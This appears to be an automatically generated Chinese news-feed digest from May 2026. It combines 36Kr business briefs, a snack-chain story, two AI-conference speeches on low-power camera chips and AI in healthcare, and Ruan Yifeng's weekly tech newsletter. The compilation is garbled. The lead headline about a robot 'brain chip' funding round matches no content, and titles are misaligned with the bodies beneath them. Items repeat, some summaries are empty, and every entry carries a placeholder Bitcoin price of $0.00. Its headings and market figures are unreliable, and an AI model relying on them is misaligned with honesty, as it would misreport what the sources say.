
标题: 36氪首发 | 北大项目孵化，国内首家原生机器人“大脑芯片”企业获数亿元融资
来源: ai
链接: https://36kr.com/p/3821371042877575?f=rss
时间: 2026-05-23 12:20:48 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3821371042877575?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T06:00:15.710885+00:00

氪星晚报｜优步与印度JSW集团达成协议，合作在印度开发及部署电动汽车；英伟达、AMD、英特尔参投，AI初创公司Hark完成7亿美元融资；神舟二十三号发射在即，各系统准备就绪

Fri, 22 May 2026 15:01:11 +0000

原文摘要

大公司： Jefferies预计7-Eleven日本业务营业利润将达2270亿日元，本财年同店销售增长势头强劲投行杰富瑞（Jefferies）分析师栗山俊介在最新发布的研究报告中指出，凭借在现做食品领域的拓展及有效的营销策略，日本零售巨头零售集团7&I控股（Seven & i Holdings）旗下的日本7-Eleven便利店本财年同店销售额有望实现稳步增长。报告预测，7&I控股国内便利店业务在本财年的营业利润将达到2270亿日元，且在下一财年有望继续增长4.8%。（新浪财经）雅诗兰黛与Puig终止合并谈判，组建美妆巨头计划作罢美国美妆巨头雅诗兰黛已终止与西班牙竞品Puig的合并谈判，这笔交易原本有望打造一家市值近400亿美元的美妆时尚行业巨头。雅诗兰黛周四表示，双方已终止此次并购磋商，Puig也证实谈判宣告结束。（新浪财经）优步与印度JSW集团达成协议，合作在印度开发及部署电动汽车 5月22日，优步与印度跨国巨头JSW集团签署合作谅解备忘录，双方将共同研发并推广专为印度网约车市场定制的电动汽车解决方案。此次合作旨在通过提供符合当地运营环境、成本效益及性能预期的电动车型，加速优步在印度各出行服务类别中的电动化转型。（界面）千曙科技与重庆数字交通产业集团达成战略合作 36氪获悉，5月21-24日，中国西部国际投资贸易洽谈会举办期间，千曙科技与重庆数字交通产业集团正式达成战略合作。双方将基于千曙L4级自动驾驶技术与重庆数字交通在成渝区域“智行走廊”和“氢”“电”走廊的公路智能化基础设施，协同开展自动驾驶典型货运示范路线应用。投融资： “无尽方舟”完成数千万种子轮融资 36氪获悉，AI驱动的生物科技制药公司“无尽方舟”宣布完成数千万种子轮融资，由Monolith砺思资本领投。无尽方舟科技由牛津博士生赵思邈创立，致力于通过跨物种AI模型研发长寿药物，探索能实现器官功能改善的疗法。英伟达、AMD、英特尔参投，AI初创公司Hark完成7亿美元融资 Figure创始人Brett Adcock旗下的AI初创公司Hark宣布完成7亿美元A轮融资，估值达60亿美元。本轮融资由Parkway Venture Capital领投，英伟达、AMD Ventures、Intel Capital等参投。资金将用于扩展GPU基础设施，加速未来AI模型的开发，以及设计和构建下一代AI硬件。（财联社）新产品：零点有数联合中国人寿推出“真AI宠”宠物保险科技平台 36氪获悉，近日，零点有数正式宣布将公司核心战略全面聚焦于AIKC战略（垂直知识智能），将垂直业务的知识模型、数据模型、流程模型整合形成完整知识体系。同时，零点有数与中国人寿财产保险签署战略合作协议，联合推出“真AI宠”宠物保险科技平台。目前，零点有数AIKC已在新消费、公共服务等领域落地。今日观点：金赛药业金磊：未来AI将颠覆传统制药逻辑 36氪获悉，5月21日，J.P. Morgan全球中国峰会上，长春高新总经理、金赛药业创始人、首席科学家金磊表示，未来AI将颠覆传统制药逻辑。据介绍，在耐药菌裂解酶技术平台上，通过AI深度赋能，金赛已设计出一系列极具创新性的裂解酶，能有效克服耐药性、杀菌活性强且耐药几率极低。目前，用于细菌性阴道炎（BV）的产品GenSci142已进入I期临床。依托AI能力的系统推进，金赛取得了早研周期缩短50%、工艺优化成本降低三分之一、管理成本三年下降30%的成效。野村预计美联储今年将维持利率不变野村证券周五表示，目前预计美联储2026年将维持利率不变，通胀走高且美联储官员降息意愿下降，短期降息可能性随之降低。野村证券在一份报告中指出：“即将上任的美联储主席凯文·沃什可能仍然有意愿放松货币政策，但近期的数据和美联储官员的表态让我们怀疑他能否说服联邦公开市场委员会（FOMC）的大多数成员同意降息。”（新浪财经）其他值得关注的新闻：神舟二十三号发射在即，各系统准备就绪今天（5月22日），神舟二十三号载人飞船发射任务组织全区合练。目前，发射任务各系统已完成相关功能检查，并做好发射前各项准备工作。（央视新闻）国务院发文推行常住地提供基本公共服务，提升均等化水平为推行常住地提供基本公共服务，促进基本公共服务均等化水平明显提升，有力支撑深入实施以人为本的新型城镇化战略，国务院日前印发《关于推行常住地提供基本公共服务的实施意见》（以下简称《意见》）。《意见》强调，由常住地提供基本公共服务，促进未落户常住人口与户籍人口同等享有基本公共服务，有利于满足人民日益增长的美好生活需要，对提升城镇化质量、释放国内需求潜力、构建新发展格局具有重要意义。（央视新闻）马来西亚拟采购海外资源，保障能源供应维持至年底马来西亚副总理兼能源及水务转型部部长法迪拉22日表示，在全球能源危机冲击产供链并推高能源成本背景下，马来西亚政府正积极采取措施，包括从海外寻求能源供应补充来源，以确保国家能源供应维持至今年12月。（财联社）马来西亚6月1日起推社交媒体监管新政：限制16岁以下用户使用马来西亚通信监管机构22日表示，将从6月1日起推出新措施，减少青少年在网络平台上接触有害内容。马来西亚通信与多媒体委员会在一份声明中指出，新规将要求网络服务提供商设置保护机制，限制16岁以下用户注册及拥有账户，并强化平台的内容治理。（财联社） 2025年韩国化妆品贸易顺差首次超过100亿美元韩国政府周五公布的数据显示，2025年韩国化妆品贸易顺差首次突破100亿美元，这对韩妆产业而言是一个重要的里程碑。韩国食品药品安全部在一份新闻稿中表示，去年化妆品贸易顺差增长13.5%，达到101亿美元。韩国于2012年首次实现化妆品贸易顺差，规模为9000万美元，此后这一数字迅速增长，从2022年的66亿美元增至2023年的71亿美元，并在2024年达到89亿美元。（新浪财经）

文章来源

标题: 氪星晚报｜优步与印度JSW集团达成协议，合作在印度开发及部署电动汽车；英伟达、AMD、英特尔参投，AI初创公司Hark完成7亿美元融资；神舟二十三号发射在即，各系统准备就绪
来源: tech
链接: https://36kr.com/p/3816943010071427?f=rss
时间: 2026-05-22 20:02:33 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3816943010071427?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-22T15:01:11.737827+00:00

新鲜零食品牌「金粒门」加速全国化：粤鄂6店同装｜最前线

Fri, 22 May 2026 15:01:02 +0000

原文摘要

新鲜零食品牌争相竞逐新市场。 36氪获悉，新鲜零食品牌「金粒门」近期密集落地全国布局，正式开启跨区域快速发展阶段。近日，金粒门华南首店、湖北首批合计6家门店已经进场装修。与此同时，金粒门华东首店将于5月29日正式入驻南京新街口IFCX，持续布局长三角核心市场。金粒门相关负责人表示，金粒门将持续加码门店布局，年内将全力推进拓店计划，让更多消费者体验到新鲜短保零食产品与服务。

金粒门华南首店位于深圳龙岗布吉万象汇负一层据悉，金粒门早期从板栗、炒货相关业态起步，后转向“现制现售、短保新鲜”的新鲜零食模型。如今，作为“新鲜零食”热潮里的代表性品牌，金粒门以“短保现制、新鲜健康”为核心定位，形成了以麻辣鲜食（保质期48小时）、现制奶茶、原液鲜果茶等为特色品类的品牌心智。此外，金粒门也依托“基地直采+中央厨房+门店现制”的完善供应链体系，实现从原料采摘到终端销售的全链条控鲜。华创食饮的一份新鲜零食调研报告显示，调研的金粒门门店约有SKU 139个，覆盖水果、饮品、烘焙等六大品类，且几乎全为自有非标品，其中1-5天的短保高频消费品类占比达46.1%，预计销售额占比超过60%。

金粒门门店目前，金粒门已拥有超20家直营门店，以湖南为大本营，在各大核心商圈密集布局。金粒门本就诞生于长沙，辣味鲜食、酱板鸭、魔芋丝、鸭锁骨等湖湘口味构成了部分爆品基础。但从湖南走向南京、无锡、深圳、武汉乃至更广泛市场时，这些 SKU 是否仍然具备同样的复购能力，并不确定。区域爆品能否变成全国爆品，是金粒门必须回答的第一道题。

文章来源

标题: 新鲜零食品牌「金粒门」加速全国化：粤鄂6店同装｜最前线
来源: tech
链接: https://36kr.com/p/3808777731464966?f=rss
时间: 2026-05-22 20:12:08 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3808777731464966?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-22T15:01:02.479211+00:00

科技爱好者周刊（第 397 期）：财富正在向 AI 集中

Fri, 22 May 2026 15:00:56 +0000

原文摘要

这里记录每周值得分享的科技内容，周五发布。

 本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（已移除，请查看原文）。

封面图

马岩松事务所设计的海南科技馆，今年五一开馆。（via）

财富正在向 AI 集中

AI 相关的所有东西，最近都在上涨。

看看股票，就知道了。内存、储存、CPU、服务器、液冷、光通信、变压器……股价全部在涨，更不要提，前期已经涨过的芯片、模型、算力了，甚至铜和铝也在涨。

这些股票的上涨幅度之大，令人咂舌。就以内存为例，世界三大内存厂商有两家在韩国，单单这两家公司就把韩国股市，从2600点一年之内拉到7600点。

2024年10月，三星公司董事长还因为半导体业绩不佳而道歉，结果今年很可能成为世界最赚钱公司。

另一家内存大厂 SK 海力士更夸张。它跟工会有劳资协议，10%的利润要分给员工。有人计算了，门卫、司机、前台都算进去，每个员工今年平均可以拿到奖金610万人民币。

至于 AI 模型公司，更是人人都是亿万富翁。OpenAI 去年向600个员工回购了66亿美元的股票，平均每人拿到近1000万美元。

这些事情表明，社会财富正在重新分配，快速向 AI 集中。

这影响到了所有人。哪怕你根本不使用 AI，但是物价的上涨、资金从本行业流向 AI，不可避免影响到你。

日常使用的电子设备（手机和电脑）、电子元件、基本的生产资料（比如铜和铝）都在涨价。如果你在一个跟 AI 无关的行业，很可能吃不到 AI 的红利，反而被它伤害，因为你会面临成本上升、需求不足、投资减少。

古人说"一将功成万骨枯"，AI 的崛起不知伴随着多少其他行业的陨落。

虽然每一次技术革命，都必然伴随财富的重新分配。但是，这一次的 AI 革命，推进速度格外快，力度格外大，引发的再分配效应也格外猛烈。

作为一个普通人，尤其是身在互联网和软件行业的普通人，似乎也没有其他选择，总是被财富诱惑，只能紧跟潮流拥抱 AI。

别用 AI 估算碳水含量

糖尿病人需要控糖，不仅要少吃糖，还要少吃碳水化合物（米饭和面粉），因为碳水最终也会变为糖。

所以，他需要知道，食物里面含有多少碳水。

很自然的想法就是，吃之前拍一张食物照片，交给 AI 估计碳水含量。

一位英国医生就做了一个实验，把13张食物的照片（比如奶酪三明治、西班牙海鲜饭、焦糖布丁）提交给四个大模型—-GPT-5.4、Claude Sonnet 4.6、Gemini 2.5 Pro、Gemini 3.1 Pro—-估计碳水含量。

结果让人大跌眼镜，四个模型给出的回答不一样。而且，同一张照片多次提交给同一个模型，回答也不一样。

就拿上面这张西班牙海鲜饭的照片为例，分别多次提交给四个模型，模型的估计值如下图。

可以看到，每个模型估计同一张照片的碳水含量，波动范围都很大。其中，波动最大的是 Gemini 2.5 Pro，碳水含量估计值从 55 克到 484 克，整整相差了 429 克！估计值相对集中的是 Claude Sonnet 4.6，但波动范围也不小。

再以奶酪三明治的照片为例，包装上注明的碳水含量为40克，但 GPT-5.4 估计值平均为74克，其他三个模型为28克，都不正确。

另外，大模型也无法准确识别食物，比如有时会认为奶酪三明治里面夹着一块熟肉。

所以，别用大模型估算食物的碳水含量，也不要让大模型做任何精确的医疗估算，它根本做不到。

微软淘汰短信验证码

很多网站登录时，会给你发一条验证码的短信。

这种做法有风险。首先，攻击者可能会欺骗移动运营商，将你的电话号码绑定到他的 SIM 卡，从而短信都发到他的手机。其次，短信是明文发送，很容易泄漏。

微软公司本周确认，将放弃短信验证码，改用 Passkey、一次性时间码（TOTP）、以及验证过的邮件地址。

其中，Passkey 密钥将是 Windows 11 以后主要的验证方式。

这种做法就是为每个用户生成一对密钥，保存在 Windows 的密码管理器，只有通过面部识别、指纹扫描器或 PIN 码才能唤起私钥验证，安全性非常高。

下面是一篇 Passkey 的介绍文章（英文），侧重于概念，写得言简意赅，可以参考。

亚马逊供应链服务

本月，亚马逊宣布推出"亚马逊供应链服务"（ASCS），把自己的货运、配送、仓储和包裹运输向用户开放。

任何公司现在都可以把自己的商品业务，建立在亚马逊的物流基础设施之上，宝洁、3M 等公司已经开始用了。

这让人想起了2006年，亚马逊开放了自己的网络基础设施，做成 AWS（亚马逊网络服务），直接导致云时代的到来。

现在，它又开放了仓储和物流，会不会改变制造业？

以后，做实物产品越来越简单了，只要把产品设计出来，生产可以外包，物流和销售都可以购买标准化服务。

打字机模型

最近，我看到一个模型玩具，感觉很不错。

这是深圳一家公司推出的19世纪机械打字机模型。买回家后，需要自己拼装。

最有趣的是，拼装好以后，它可以用来打字，但功能比较少，不能切换大小写，只支持大写字母。

它不仅是模型玩具，还可以用来了解打字机原理，在海外市场也引起了关注。

文章

1、GitHub Pages 有域名盗用问题（英文）

如果你的域名指向 GitHub Pages，最好看一下这篇文章，某些情况下，你的二级域名可能会被盗用。

2、JavaScript ShadowRealm API 简介（英文）

ShadowRealm 是一个新的 JS API，允许在单线程环境里面建立多个域，每个域拥有自己的全局对象，独立运行，互不干扰，可以彼此通信。

3、Firefox 配置指南（英文）

作者介绍自己的做法，将 Firefox 配置成一个好用的浏览器。

4、被撤销证书的检查机制（英文）

网站的 HTTPS 证书可能会被证书当局撤销，用户如何知道呢？本文介绍现有的三种检查机制。问题是它们都有缺陷，Chrome 没有采用任何一种。

5、临时性基础设施（英文）

本文提出，大型系统除了绝对需要保持状态的部分（例如数据库、消息队列等），其余部分都应采用无状态的临时性基础设施（比如容器）。

6、微型铝热反应（英文）

铝热反应是指，铝与氧化铁（铁锈）在高温下发生剧烈放热，温度可达2500~3500℃。本文介绍一种引发微型铝热反应的方法：两只生锈的铁球，一只包上铝箔，互相碰撞即可。

工具

1、Abogen

一个跨平台的桌面应用，将 ePub/PDF/text 文件转成有声书。

2、FFmpeg Explorer

通过可视化图形、生成 FFmpeg 命令的网页应用，代码开源。

3、Stock SDK

获取股票行情的开源 JavaScript SDK，纯前端抓取，无需后端服务，实时行情来自腾讯财经/东方财富等公开接口。（@chengzuopeng 投稿）

4、Zephyr

开源的 Mihomo/Clash 跨平台桌面客户端。（@Juwan-Hwang 投稿）

文章来源

标题: 科技爱好者周刊（第 397 期）：财富正在向 AI 集中
来源: tech
链接: http://www.ruanyifeng.com/blog/2026/05/weekly-issue-397.html
时间: 2026-05-21T23:58:35Z

核心内容

这里记录每周值得分享的科技内容，周五发布。

 本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（已移除，请查看原文）。

封面图

马岩松事务所设计的海南科技馆，今年五一开馆。（via）

财富正在向 AI 集中

AI 相关的所有东西，最近都在上涨。

这些股票的上涨幅度之大，令人咂舌。就以内存为例，世界三大内存厂商有两家在韩国，单单这两家公司就把韩国股市，从2600点一年之内拉到7600点。

2024年10月，三星公司董事长还因为半导体业绩不佳而道歉，结果今年很可能成为世界最赚钱公司。

至于 AI 模型公司，更是人人都是亿万富翁。OpenAI 去年向600个员工回购了66亿美元的股票，平均每人拿到近1000万美元。

这些事情表明，社会财富正在重新分配，快速向 AI 集中。

这影响到了所有人。哪怕你根本不使用 AI，但是物价的上涨、资金从本行业流向 AI，不可避免影响到你。

古人说"一将功成万骨枯"，AI 的崛起不知伴随着多少其他行业的陨落。

虽然每一次技术革命，都必然伴随财富的重新分配。但是，这一次的 AI 革命，推进速度格外快，力度格外大，引发的再分配效应也格外猛烈。

作为一个普通人，尤其是身在互联网和软件行业的普通人，似乎也没有其他选择，总是被财富诱惑，只能紧跟潮流拥抱 AI。

别用 AI 估算碳水含量

糖尿病人需要控糖，不仅要少吃糖，还要少吃碳水化合物（米饭和面粉），因为碳水最终也会变为糖。

所以，他需要知道，食物里面含有多少碳水。

很自然的想法就是，吃之前拍一张食物照片，交给 AI 估计碳水含量。

结果让人大跌眼镜，四个模型给出的回答不一样。而且，同一张照片多次提交给同一个模型，回答也不一样。

就拿上面这张西班牙海鲜饭的照片为例，分别多次提交给四个模型，模型的估计值如下图。

再以奶酪三明治的照片为例，包装上注明的碳水含量为40克，但 GPT-5.4 估计值平均为74克，其他三个模型为28克，都不正确。

另外，大模型也无法准确识别食物，比如有时会认为奶酪三明治里面夹着一块熟肉。

所以，别用大模型估算食物的碳水含量，也不要让大模型做任何精确的医疗估算，它根本做不到。

微软淘汰短信验证码

很多网站登录时，会给你发一条验证码的短信。

微软公司本周确认，将放弃短信验证码，改用 Passkey、一次性时间码（TOTP）、以及验证过的邮件地址。

其中，Passkey 密钥将是 Windows 11 以后主要的验证方式。

这种做法就是为每个用户生成一对密钥，保存在 Windows 的密码管理器，只有通过面部识别、指纹扫描器或 PIN 码才能唤起私钥验证，安全性非常高。

下面是一篇 Passkey 的介绍文章（英文），侧重于概念，写得言简意赅，可以参考。

亚马逊供应链服务

本月，亚马逊宣布推出"亚马逊供应链服务"（ASCS），把自己的货运、配送、仓储和包裹运输向用户开放。

任何公司现在都可以把自己的商品业务，建立在亚马逊的物流基础设施之上，宝洁、3M 等公司已经开始用了。

这让人想起了2006年，亚马逊开放了自己的网络基础设施，做成 AWS（亚马逊网络服务），直接导致云时代的到来。

现在，它又开放了仓储和物流，会不会改变制造业？

以后，做实物产品越来越简单了，只要把产品设计出来，生产可以外包，物流和销售都可以购买标准化服务。

打字机模型

最近，我看到一个模型玩具，感觉很不错。

这是深圳一家公司推出的19世纪机械打字机模型。买回家后，需要自己拼装。

最有趣的是，拼装好以后，它可以用来打字，但功能比较少，不能切换大小写，只支持大写字母。

它不仅是模型玩具，还可以用来了解打字机原理，在海外市场也引起了关注。

文章

1、GitHub Pages 有域名盗用问题（英文）

如果你的域名指向 GitHub Pages，最好看一下这篇文章，某些情况下，你的二级域名可能会被盗用。

2、JavaScript ShadowRealm API 简介（英文）

ShadowRealm 是一个新的 JS API，允许在单线程环境里面建立多个域，每个域拥有自己的全局对象，独立运行，互不干扰，可以彼此通信。

3、Firefox 配置指南（英文）

作者介绍自己的做法，将 Firefox 配置成一个好用的浏览器。

4、被撤销证书的检查机制（英文）

网站的 HTTPS 证书可能会被证书当局撤销，用户如何知道呢？本文介绍现有的三种检查机制。问题是它们都有缺陷，Chrome 没有采用任何一种。

5、临时性基础设施（英文）

本文提出，大型系统除了绝对需要保持状态的部分（例如数据库、消息队列等），其余部分都应采用无状态的临时性基础设施（比如容器）。

6、微型铝热反应（英文）

工具

1、Abogen

一个跨平台的桌面应用，将 ePub/PDF/text 文件转成有声书。

2、FFmpeg Explorer

通过可视化图形、生成 FFmpeg 命令的网页应用，代码开源。

3、Stock SDK

获取股票行情的开源 JavaScript SDK，纯前端抓取，无需后端服务，实时行情来自腾讯财经/东方财富等公开接口。（@chengzuopeng 投稿）

4、Zephyr

开源的 Mihomo/Clash 跨平台桌面客户端。（@Juwan-Hwang 投稿）

内容来源：tech 原文链接：http://www.ruanyifeng.com/blog/2026/05/weekly-issue-397.html

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-22T15:00:56.918748+00:00

氪星晚报｜优步与印度JSW集团达成协议，合作在印度开发及部署电动汽车；英伟达、AMD、英特尔参投，AI初创公司Hark完成7亿美元融资；神舟二十三号发射在即，各系统准备就绪

Fri, 22 May 2026 15:00:51 +0000

原文摘要

文章来源

标题: 氪星晚报｜优步与印度JSW集团达成协议，合作在印度开发及部署电动汽车；英伟达、AMD、英特尔参投，AI初创公司Hark完成7亿美元融资；神舟二十三号发射在即，各系统准备就绪
来源: ai
链接: https://36kr.com/p/3816943010071427?f=rss
时间: 2026-05-22 20:02:33 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3816943010071427?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T15:00:51.718616+00:00

新鲜零食品牌「金粒门」加速全国化：粤鄂6店同装｜最前线

Fri, 22 May 2026 15:00:43 +0000

原文摘要

文章来源

标题: 新鲜零食品牌「金粒门」加速全国化：粤鄂6店同装｜最前线
来源: ai
链接: https://36kr.com/p/3808777731464966?f=rss
时间: 2026-05-22 20:12:08 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3808777731464966?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T15:00:43.198991+00:00

算力浪潮下，AI智能影像的无线化变革| 2026AI Partner·北京亦庄AI+产业大会

Fri, 22 May 2026 12:01:32 +0000

原文摘要

神眸做的事情不是追逐英伟达，而是在算力浪潮的下游，用极致的低功耗芯片设计，让摄像头摆脱电线的束缚，打开一个千亿只智能视觉终端的未来。

杨作兴带领神眸实现了摄像头功耗降低一个数量级的突破——第一代芯片达业界三分之一功耗，第二代达十分之一，首次用1瓦太阳能板驱动全天候智能摄像机。他认为，当前全球安防摄像头年出货量仅3到4亿只，但到2035年将达100亿只，2045年更将达1000亿只，因为世界大模型需要万亿级摄像头来实时映射物理世界。而在推理算力领域，杨作兴判断中国创业公司仍有大机会。以下为演讲内容全文，经36氪整理编辑：

杨作兴丨杭州研极微电子有限公司董事长、神眸品牌创始人大家下午好，今天非常开心，去年在上海参加了36氪的AI+大会，今天是第二次。一年时间过去了，AI发生了非常大的变化，大家都异常兴奋。36氪AI+大会，明显感觉到今年跟去年相比有很大的变化，在此感谢主办方36氪。我是杭州研极微董事长、神眸品牌创始人杨作兴。AI是世界风暴的中心，这个风暴中心我们能不能再往深里看，风暴中心的眼是什么，我们认为是新质生产力。目前，全球市值最高的公司是英伟达，它超越了苹果、微软、亚马逊、台积电，正是因为它掌握了新质生产力——GPU算力。在算力浪潮下，神眸有哪些机遇呢？我们观察到，随着技术的发展，手机、电脑、平板很早就脱离了电线。但只是视觉传感器的摄像头，却一直有电线，且大大增加了摄像头安装的费用。我们可以看到，在室外布摄像头，要先立一个杆子，1万—10万元，挖个坑埋线又要1万元，安装时间在一礼拜以上，摄像头维护费用3000元一年，公安系统的一年摄像头的维护费用非常昂贵。我们做的事情，就是要实现摄像头零安装成本、零使用成本、零维护成本，这个事要做成，就要让摄像头的功耗降低一到两个数量级，降低功耗。芯片低功耗涉及到方法学的突破，我们采用了全定制芯片设计方法学，这个是我们公司主导发起的，它有三点不同。第一，我们采用定制单元设计。行业传统方案采用台积电或者三星的标准单元库，无论在学校还是在公司做芯片设计，我们通常是用静态双锁存器，不能用动态逻辑，不能用单锁存器，这个东西EDA工具不能很好地检查它。但我们是反过来做的，我们用的动态单锁存器，一个静态双锁存器是24个三极管，我们用动态单储存器是4个三极管，面积和功耗是普通方法的六分之一；第二，采用手写网表。传统方法用高级语言写代码，手写网表好比软件工程师用汇编写代码。DeepSeek有大的突破的其中一个原因是他们采用PTX进行编程，比别人会好很多，我们采用手写网表会有几倍的优势；第三，我们采用手动布局。传统方法采用自动布局，自动布局通常的利用率是50%-60%，我们超过95%。通过这几种方式，功耗成本乘积降低一个数量级，这个方法学也用在摄像头SOC芯片中。我们的第一代芯片，实现业界三分之一功耗，用在了理想AI眼镜，还有我们神眸自己的产品系列，比如智能云台摄像机 BC4PRO+、双目枪球AOR电池云台摄像机 PT4、以及运动影像系列产品生活记录仪V1。第二代芯片，实现业界十分之一的功耗，已经应用在了神眸智能停车记录仪DC1产品上。这是业界首创针对停车场景研发的产品，超长续航、免布线，安装也很方便。第二代芯片还应用在了神眸太阳能一体化智能摄像机BC7上，我们首次采用1瓦的太阳能板，实现一天24小时、一年365天持续巡航。除了SOC以外，在CIS、PMU、Wi-Fi、4G都做了低功耗设计。我们要让产品整个系统实现十分之一的功耗，每个部件都要达到十分之一才行，光SOC降到十分之一是不够的。这是基于芯片做的一系列产品：

目前安防为代表的摄像头一年只有3亿只—4亿只，不包括手机摄像头，我们觉得2035年会到100亿只。手机摄像头已经超过50亿只，一个手机上有三四个摄像头，每年有十亿部以上的手机。手机摄像头是为人服务的，而物联网的摄像头是为万物服务的，它的量会远远大于手机上摄像头的量。尤其是当神眸推出了这套没有电线的摄像头之后，我们预估到2035年会到100亿只摄像头，大家觉得很多，其实只要每年保持30%的增长速度就可以。 2045年我们认为会到1000亿只。因为我们预测2040年第四次工业革命人工智能会全面完成，最后人类目前绝大部分工作会被AI替换掉，那我们去哪里？我们会在虚拟世界里工作或娱乐以及找到成就感。我们需要世界大模型，这个大模型非常大，每个人每走一步会看到不同的景象。这个世界大模型接地，否则它就会飘了，产生幻觉，如何接地？我们就需要用无数摄像头把世界的实时状态输入到大模型里，要把世界完整反映到大模型里需要1.2万亿只摄像头，十年建成，每年就是1000亿只。在大模型时代我们神眸要做的事情——神算，即大模型推理算力。算力是当今最新质生产力，没有之一。目前英伟达是我们这个领域的王者，别的公司是不是还有机会？可以从两个方面来看：第一，训练算力，工程师通过训练算力迭代越来越好的大模型；第二，推理算力，用户每天要问大模型，问DeepSeek问题，它给你一个答案，这个是推理算力。训练算力，难有超越的机会，虽然国内很多公司也在做GPU，主要原因是CUDA接口，所有大模型框架都是基于CUDA写的。上一次生态大会的时候，我记得国内一家著名的大模型公司老板说，他们用了华为的卡，花了三个月把它适配好。三个月，对大模型相当于一代的时间，要不是特别大的革命友谊，没有谁为了你去花三个月的时间去适配的。推理算力方面机会很大，有两个原因。第一，推理算力不依赖CUDA接口；第二，每个大模型有独特的算法。针对算法、算子的不同，数据通路的不同，我们可以做很多定制，这些定制的芯片天然比GPU通用芯片，在功耗和成本方面有相当大的好处。而且推理算力需求量远远大于训练算力。全世界就算有一百个世界级优秀的大模型团队，一个团队一万张卡，也就一百万张卡。推理算力是面对60亿自然人以及未来比60亿还多的机器人，他们也用算力，这样的需求量远远大于训练算力，这也是英伟达会花200亿美金收购Groq，一家做推理算力创业公司的原因。如果我们把推理算力做好，我们创业企业还是有傲立潮头的机会。怎么把推理算力做好？有三个关键点，一、能不能找到跟你适配的优秀大模型，要么是开源的，如果是闭源的，能形成战略合作伙伴；二、是否有先进的半导体工艺；三、芯片设计方法学，特别是低功耗设计方法学是不是有独到的地方。这三方面我们都还不错。我们的全定制芯片设计方法学，实现别人功耗的十分之一，一代工艺进步可以节省30%功耗，两代半导体工艺的优化可以节省50%左右，四代半导体工艺的进步可以到原来的八分之一，十分之一的功耗相当于在工艺上补了四到六代。我们现在是三星最先进工艺的顶级合作伙伴，我们能够定制半导体工艺。虽然大部分token来源于闭源模型，但开源模型的趋势还是非常好的，而且中国大模型公司虽然跟世界上最先进的大模型公司还有一点差距，但超越是迟早的事，也是必然的。结合这三点，我们还是有很大的机会，特别是在CNN（卷积神经网络）时代。我们做神眸自研芯片的时候，已经基于CNN做了自己的编译器，把CNN模型映射到我

文章来源

标题: 算力浪潮下，AI智能影像的无线化变革| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3818843802665862?f=rss
时间: 2026-05-22 15:29:37 +0800

核心内容

神眸做的事情不是追逐英伟达，而是在算力浪潮的下游，用极致的低功耗芯片设计，让摄像头摆脱电线的束缚，打开一个千亿只智能视觉终端的未来。

内容来源：ai 原文链接：https://36kr.com/p/3818843802665862?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T12:01:32.334466+00:00

以场景为锚，以AI为翼：大健康产业的实践与突破| 2026AI Partner·北京亦庄AI+产业大会

Fri, 22 May 2026 12:01:25 +0000

原文摘要

当大健康产业遇上AI，最大的难题不是技术够不够强，而是场景够不够深、信任够不够厚。百度健康用六年时间给出了自己的答案：从单点智能走向全局协同，从技术赋能走向价值创造。中国慢病人群超5亿，每千人执业医生数却远低于发达国家——供需矛盾之下，AI成为医疗健康供给侧改革的新基建。百度健康总经理杨明璐结合百度健康的实战经验，拆解了AI在用户、医生、医院三大场景的落地实践。AI不是炫技，而是让每一环都更专业、更可信。杨明璐作为百度健康品牌的创立者与搭建者，其在2019年底确立了该业务的战略方向与组织架构，2020年孵化了百度健康品牌，百度健康已成为全网最大的健康科普平台和领先的互联网医疗平台，平台每日服务1.3亿人次的健康精准搜索，拥有6亿+专业健康知识库，并与全国3300余名权威专家、430余家顶级医疗机构及36万名医生直连。其后一直带领团队深耕AI+健康赛道，她指出，过去两年AI行业经历了重要转变——从卷模型到卷应用，从关注参数到关注场景，而健康正是AI落地最重要的场景之一。AI正驱动大健康产业进入供需重构的新阶段，而生态协同与专业可信是AI落地的关键破局点。杨明璐分析，从需求侧看，中国将于2035年进入重度老龄化社会，慢病人群已超5亿，健康需求井喷。然而供给侧每千人执业医生数仅为3.04人，远低于发达国家。这一矛盾下，AI已成为扩容医疗健康供给的新基建。她也强调，健康产业链路深、周期长，单点智能化难以形成连续服务，必须从单点智能走向全局协同；而医疗不容出错，需要长期坚持人机协同，AI应“赋能而非替代，辅助绝不主导”。在场景落地方面，百度健康构建了面向用户、医生和医院的全链路服务体系。面向用户，她认为传统搜索只能给答案，而用户真正需要的是能“聊”起来、能管事儿的健康助手。基于这个判断，百度健康推出了“文心健康管家”，用AI完成初步咨询和报告解读，再让真人医生在关键节点确认把关——比如AI生成的诊断小结，最后需要医生签字才能给到用户。这种“AI打前站、医生守底线”的模式，既提升了效率，也守住了信任。面向医生，杨明璐观察到，很多医生在百度平台上做科普、接诊、打造个人IP，但大量时间被琐事消耗。于是团队推出了“有医助手”专业版大模型，不仅能帮医生检索全球医学文献，还能辅助写病历、写科普文章。上线短短一两个月，写作类功能就成了最受欢迎的skill。面向医院，以武汉协和医院为例，百度健康将AI能力嵌入到诊前、诊中、诊后的各个环节：智能分诊帮26万患者选对科室，AI加号累计服务的用户超过了12万，他们通过AI加号和智能分导诊的技术赋能得到了及时就医，其中70%以上都是应该尽快手术的，数据也是超出了医院的预期。预问诊Age